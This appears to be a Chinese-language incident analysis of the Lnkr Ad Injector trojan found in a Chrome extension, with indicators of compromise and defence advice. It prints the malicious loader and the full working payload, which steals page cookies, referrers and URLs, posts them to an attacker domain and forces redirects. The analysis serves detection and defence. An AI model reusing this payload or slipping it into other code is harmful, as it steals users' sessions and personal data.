浏览器“黑客”
一、事件概述
2020年10月,美團安全運營平臺發現流量中存在惡意JavaScript請求,信息安全部收到告警后立即開始應急處理,通過對網絡環境、訪問日志等進行排查,最終鎖定惡意請求由Chrome瀏覽器安裝惡意插件引起,該惡意JavaScript文件會竊取Cookie并強制用戶跳轉到惡意色情站點、推廣鏈接等,結合美團威脅情報大數據,發現該插件與Lnkr Ad Injector木馬特征吻合。
此類木馬傳播方式多樣,會通過瀏覽器插件、Broken Link Hijacking等方式在頁面中植入惡意代碼,不僅嚴重影響用戶正常訪問還會竊取用戶數據。經追蹤分析發現,多個國內大型互聯網站點(Alexa全球排名前600)被感染,影響上億網民的上網安全,建議各大平臺對自身系統第三方加載源以及內部終端設備進行檢查,避免遭受此類木馬攻擊。
二、溯源過程
2.1 安全運營平臺發出異常告警
Chrome沙箱監測到惡意JavaScript文件,發出異常告警:
通過告警信息判斷基本的攻擊行為是:
用戶訪問正常頁面;
頁面加載外部JavaScript文件(A):http://s3.amazonaws.com/js-static/18ced489204f8ff908.js;
A加載第二個JavaScript文件(B):http://countsource.cool/18ced489204f8ff908.js;
B包含惡意代碼,向遠程域名發送Cookie等敏感信息。
2.2 分析攻擊路徑
根據告警中涉及的觸發頁面、相關網絡環境信息,排除流量劫持、XSS攻擊等情況,猜測可能的原因為瀏覽器插件或惡意軟件導致。
通過沙箱對問題設備上所有Chrome插件進行分析,發現一個名為Vysor的Chrome插件代碼存在惡意行為,檢測結果如下:
{"call_window_location":?{"info":?"get?document.location","capture":?[]},"call_document_createElement":?{"info":?"call?document.createElement,?create?script?element","capture":?["create?element?elementName:FIELDSET","create?element?elementName:FIELDSET","create?element?elementName:FIELDSET","create?element?elementName:FIELDSET","create?element?elementName:FIELDSET","create?element?elementName:INPUT","create?element?elementName:FIELDSET","create?element?elementName:FIELDSET","create?element?elementName:FIELDSET","create?element?elementName:FIELDSET","create?element?elementName:FIELDSET","create?element?elementName:SCRIPT","create?element?elementName:LINK"]},"call_document_removeChild":?{"info":?"call?document.removeChild","capture":?["remove?element?{elementName:fieldset}","remove?element?{elementName:fieldset}","remove?element?{elementName:fieldset}"]},"set_scriptSrcValue":?{"info":?"set?script?src?unsafe?value","capture":?["//s3.amazonaws.com/js-static/18ced489204f8ff908.js"]} }可以看到插件代碼創建了script標簽,然后將script標簽的src屬性設置為//s3.amazonaws.com/js-static/18ced489204f8ff908.js。
2.3 插件惡意代碼分析
為了進一步研究該組織木馬的特征,我們對該惡意插件的代碼進行了人工分析。惡意插件的代碼量較大,結構混亂,包含大量干擾代碼。
首先惡意代碼預先設置了許多無明顯意義的字符串,用于構造Payload。
這些字符串通過下面方法的一系列轉換最終構造出創建script標簽的語句 document'createElement',doctype即為創建出來的script對象。
接下來為script對象的src屬性賦值,在addHandler方法中,cl這個參數由elem傳遞過來,其中包含src字符串,通過cl[0].split('>').slice(2, 3)拿到關鍵字src,tag是上文的doctype變量也就是script對象,在構造src值這部分,可以看到在常量中有一串一部分很像是base64的字符串:
?
通過createLinkPseudo方法解base64,經過replace后形成惡意地址//s3.amazonaws.com/js-static/18ced489204f8ff908.js。
(function(){ var?a=document.createElement("script"); a.src="//countsource.cool/18ced489204f8ff908.js"; (document.head||document.documentElement).appendChild(a)})();;//countsource.cool/18ced489204f8ff908.js文件內容為:
(function?()?{function?initXMLhttp()?{var?xmlhttp;if?(window.XMLHttpRequest)?{xmlhttp?=?new?XMLHttpRequest();}?else?{xmlhttp?=?new?ActiveXObject("Microsoft.XMLHTTP");}return?xmlhttp;}function?minAjax(config)?{if?(!config.url)?{return;}if?(!config.type)?{return;}if?(!config.method)?{config.method?=?true;}if?(!config.debugLog)?{config.debugLog?=?false;}var?sendString?=?[],sendData?=?config.data;if?(typeof?sendData?===?"string")?{var?tmpArr?=?String.prototype.split.call(sendData,?'&');for?(var?i?=?0,?j?=?tmpArr.length;?i?<?j;?i++)?{var?datum?=?tmpArr[i].split('=');sendString.push(encodeURIComponent(datum[0])?+?"="?+?encodeURIComponent(datum[1]));}}?else?if?(typeof?sendData?===?'object'?&&?!(sendData?instanceof?String))?{for?(var?k?in?sendData)?{var?datum?=?sendData[k];if?(Object.prototype.toString.call(datum)?==?"[object?Array]")?{for?(var?i?=?0,?j?=?datum.length;?i?<?j;?i++)?{sendString.push(encodeURIComponent(k)?+?"[]="?+?encodeURIComponent(datum[i]));}}?else?{sendString.push(encodeURIComponent(k)?+?"="?+?encodeURIComponent(datum));}}}sendString?=?sendString.join('&');if?(window.XDomainRequest)?{var?xmlhttp?=?new?window.XDomainRequest();xmlhttp.onload?=?function?()?{if?(config.success)?{config.success(xmlhttp.responseText);}};xmlhttp.open("POST",?config.url);xmlhttp.send(sendString);}?else?{var?xmlhttp?=?initXMLhttp();xmlhttp.onreadystatechange?=?function?()?{if?(xmlhttp.readyState?==?4?&&?xmlhttp.status?==?200)?{if?(config.success)?{config.success(xmlhttp.responseText,?xmlhttp.readyState);}}?else?{}}if?(config.type?==?"GET")?{xmlhttp.open("GET",?config.url?+?"?"?+?sendString,?config.method);xmlhttp.send();}if?(config.type?==?"POST")?{xmlhttp.open("POST",?config.url,?config.method);xmlhttp.setRequestHeader("Content-type",?"application/x-www-form-urlencoded");xmlhttp.send(sendString);}}}dL();function?dL()?{var?host?=?'http://press.cdncontentdelivery.com/f';var?config?=?{url:?host?+?"/stats.php",type:?"POST",data:?{vbase:?document.baseURI,vhref:?location.href,vref:?document.referrer,k:?"Y291bnRzb3VyY2UuY29vbA==",ck:?document.cookie,t:?Math.floor(new?Date().getTime()?/?1000),tg:?""},success:?onSuccessCallback};function?bl(resp)?{!?function?(dr)?{function?t()?{return?!!localStorage?&&?localStorage.getItem(a)}function?e()?{o(),parent.top.window.location.href?=?c}function?o()?{var?t?=?r?+?i;if?(localStorage)?{localStorage.setItem(a,?t)}}function?n()?{if?(t())?{var?o?=?localStorage?&&?localStorage.getItem(a);r?>?o?&&?e()}?else?e()}var?a?=?"MenuIdentifier",r?=?Math.floor((new?Date).getTime()?/?1e3),c?=?dr,i?=?86400;n()}(resp);}function?onSuccessCallback(response)?{if?(response?&&?response.indexOf('http')?>?-1)?{bl(response);}}minAjax(config);} })();該文件是真正實現惡意行為的代碼,這部分代碼沒有經過混淆、加密,也沒有加入其他無意義的代碼干擾分析,可以很清晰地看到其惡意行為:
獲取當前頁面Cookie,ck參數;
獲取當前頁面Referrer;
獲取當前頁面Location;
使用XMLHttpRequest將獲取到的數據發送到http://press.cdncontentdelivery.com/f/stats.php;
利用onSuccessCallback方法進行跳轉。
至此實現了將Cookie發送到遠端接收地址,后續通過onSuccessCallback返回內容完成跳轉,完整流程:
2.4 通過已發現的IoC深入排查
通過上述特征,發現大量與Lnkr木馬相關的域名和插件,部分并未出現在已知的威脅情報中,經進一步分析發現,移動終端設備也有觸發惡意請求的情況。
除此之外我們也發現國內多個大型站點在自身引用資源上引入了Lnkr木馬,用戶如果訪問到這些站點,Cookie信息會被直接發送到遠端,存在極高的安全風險。針對站點自身存在惡意資源的這類情況,極有可能是攻擊者利用Broken Link Hijacking的攻擊手法,對過期域名進行搶注,站點在訪問原有資源時被劫持到惡意資源。
三、總結
3.1 惡意域名
以下列舉了此次檢測發現的惡意域名:
mirextpro.com
browfileext.com
nextextlink.com
lisegreen.biz
makesure.biz
clipsold.com
comtakelink.xyz
protesidenext.com
promfflinkdev.com
rayanplug.xyz
countsource.cool
blancfox.com
skipush1.bbn.com.cn
donewrork.org
loungesrc.net
higedev.cool
s3.amazonaws.com/cashe-js/
s3.amazonaws.com/js-cache/
s3.amazonaws.com/jsfile/
s3.amazonaws.com/cashe-js/
cdngateway.net (接收Cookie域名)
sslproviders.net (接收Cookie域名)
cdncontentdelivery.com (接收Cookie域名)
3.2 惡意插件
排查到包含Lnkr木馬特征的惡意插件:
部分惡意插件截圖:
四、復盤
Lnkr木馬所造成的危害有哪些?
Lnkr木馬的核心域名之一cdngateway.net在全球域名流量排名8900位,從流量來源角度,通過外部網站跳轉帶來的流量占比總流量的65.48%,可見其攻擊范圍極廣,受其影響的應用、用戶數量也是非常龐大的。
此類木馬對外部用戶和內部員工訪問同時具有嚴重危害。
在外部用戶方面,如果企業沒有嚴格控制系統第三方資源加載,黑產利用Broken Link Hijacking的攻擊手法,致使業務系統加載資源時被劫持植入惡意代碼,將嚴重影響用戶體驗、信息安全和企業形象。
從內部員工角度,傳統殺軟、EDR等終端安全設備并不能很好地識別出此類惡意插件,攻擊者通過傳播惡意瀏覽器插件控制員工瀏覽器加載遠程惡意資源,不僅僅可以用于廣告注入,相較于針對瀏覽器的其他攻擊方式,可以達到更穩定,觸發面更廣的敏感信息竊取、內網探測等,在CSP歷史阻斷的惡意請求中,我們也發現除竊取Cookie信息外,也存在惡意代碼竊取頁面文本信息的情況,這些文本信息在企業內部平臺中,極有可能包含大量用戶,訂單等敏感信息。
如何發現此類惡意木馬植入?
針對惡意瀏覽器插件,在檢測方面對其代碼做靜態分析成本比較大,觸發惡意請求的Payload都是通過大量編碼轉換、拼接、正則匹配等構造而成、且經過了很多沒有實際意義的方法,在動態分析方面,由于Chrome插件代碼會調用Chrome后臺API,在常規沙箱環境中可能會出現無法調用API而中途報錯退出。分析中還發現,很多惡意行為需要觸發特定事件才能進入到構造惡意Payload流程,如觸發chrome.tabs.onUpdated等。
對于瀏覽器插件安全,可以通過以下方式進行檢測及防護:
禁止安裝未在Chrome應用商店上線的插件(公司內部開發的插件除外);
對插件manfiest.json文件進行輕量級的排查,manfiest.json文件中申請權限相對敏感,如Cookie、tabs、webRequest等等;
利用內容安全策略(CSP)對應用頁面發起的請求進行攔截或監控,結合靜態與動態分析技術,判斷JavaScript文件行為;
利用瀏覽器沙箱與EDR,定期對瀏覽器插件進行掃描;
構建網絡層的檢測能力,發現有惡意請求及時應急處理。
對于業務系統自身是否加載惡意資源方面:
嚴格控制系統加載的第三方資源;
通過內容安全策略(CSP)對頁面觸發的請求進行攔截或監控。
總結
黑產組織利用此類木馬進行惡意引流、竊取用戶信息等,給用戶訪問帶來安全風險,也危害到企業自身形象,在HTTPS場景下,雖然排除了鏈路上用戶訪問被劫持的風險,但用戶端訪問環境安全性不定,為確保用戶獲取的信息可靠,沒有被篡改,仍然需要進一步加強防護。希望本文能給大家帶來一些幫助或者啟發。
總結
- 上一篇: Excel-开发者工具(WPS)
- 下一篇: SDN第二章 Ubuntu开启/关闭防火